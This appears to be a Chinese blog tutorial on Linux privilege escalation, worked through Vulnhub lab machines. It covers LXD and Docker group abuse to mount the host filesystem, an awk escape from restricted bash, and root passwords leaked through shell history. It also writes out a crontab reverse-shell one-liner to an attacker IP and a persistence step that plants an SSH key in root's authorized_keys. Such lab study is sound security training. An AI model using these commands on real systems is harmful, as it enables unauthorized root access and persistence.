DAY142权限提升-Linux系统权限提升篇&Vulnhub&Rbash绕过&Docker&LXD容器&History泄漏&shell交互

一、演示案例-Linux系统提权-普通用户-LXD容器

原理

LXD是基于LXC容器的管理程序,当前用户可操作容器,
理解为用户创建一个容器,再用容器挂载宿主机磁盘,
最后使用容器权限操作宿主机磁盘内容达到提权效果。

lxd本地提权条件

-已经获得普通用户Shell
-用户属于lxd组

复现环境:AI: Web: 2 ~ VulnHub

1、入口点

普通用户

User: n0nr00tuser

Pass: zxowieoi4sdsadpEClDws1sf

2、脚本检测及利用

./LinEnum.sh

3、创建镜像容器,挂载磁盘,进入镜像容器,进入目录提权

容器镜像:GitHub - saghul/lxd-alpine-builder: Build Alpine Linux images for LXD

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test //导入这个镜像命名为test容器

lxc init test test -c security.privileged=true //初始化这个镜像

lxc config device add test test disk source=/ path=/mnt/root recursive=true  //挂载镜像磁盘,镜像的/mnt/root目录就是真实下的/目录。

lxc start test //启动这个test容器

lxc exec test /bin/sh  //获取这个test容器shell

cd /mnt/root/root //进入目录提权

cat flag.txt

二、演示案例-Linux系统提权-普通用户-Docker容器

跟docker逃逸不同的是docker提权是拿到一个真实服务器上的普通用户后利用服务器上的docker进行权限提升,docker逃逸是逃逸,docker提权是提权,两回事。

Docker本地提权条件

1、已经获得普通用户Shell
2、用户属于docker组

本地实验

把一个普通账号dockertest添加到docker组,使用newgrp更新docker组

usermod -G docker dockertest

newgrp docker

su dockertest

docker run -v /:/mnt -it alpine //利用docker起一个镜像并把真机的/目录挂载到镜像的/mnt目录。

vulnhub

复现环境:https://www.vulnhub.com/entry/chill-hack-1,622/

1、入口点

普通用户

User: anurodh

Pass: !d0ntKn0wmYp@ssw0rd

2、检测及利用

手工查询

脚本检测

./LinEnum.sh

3、创建容器,挂载磁盘,进入容器,进入目录提权

docker run -v /:/mnt -it alpine

cd /mnt/root

三、演示案例-Linux系统提权绕过-普通用户-Rbash绕过

Rbash(The Restricted mode of bash),也就是限制型bash(有些命令执行不了)

在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作

adduser rbashtest  //创建rbashtest用户

passwd rbashtest //设置rbashtest密码,不设置这用户用不了

usermod -s /bin/rbash rbashtest  //将rbashtest用户添加到rbash组

复现环境:Funbox: Rookie ~ VulnHub

1、入口点

fscan -h 192.168.1.0/24

ftp 192.168.1.8

ssh tom@192.168.1.8 -i id_rsa

2、Rbash绕过

python -m http.server 8080

wget http://192.168.1.3:8080/LinEnum.sh

如何绕过rbash限制?

参考:https://xz.aliyun.com/t/7642

awk 'BEGIN {system("/bin/bash")}'

./LinEnum.sh

3、历史泄漏提权

history //查看执行的历史命令,里面有可能会泄露一些敏感信息。

cat /home/tom/.mysql_history //泄露root密码

su root(xx11yy22!)  

四、演示案例-Linux系统提权-web/普通用户-docker逃逸&提权&shell交互

GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.

写到宿主机计划任务反弹shell

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab

写到宿主机计划任务反弹shell

1.ssh-keygen -t rsa //执行生成key命令

id_rsa  #私钥

id_rsa.pub  #公钥

2.将id_rsa.pub公钥上传到公网服务器中,目标上使用wget下载这个公钥下载到本地

将公钥写入到宿主机authorized_keys文件中

mkdir /mnt/root/.ssh && touch /mnt/root/.ssh/authorized_keys

cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/

3.ssh秘钥登录

自己的攻击机器上执行

cd /root/.ssh/

ssh -i id_rsa root@目标IP

或者ssh直接连也行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值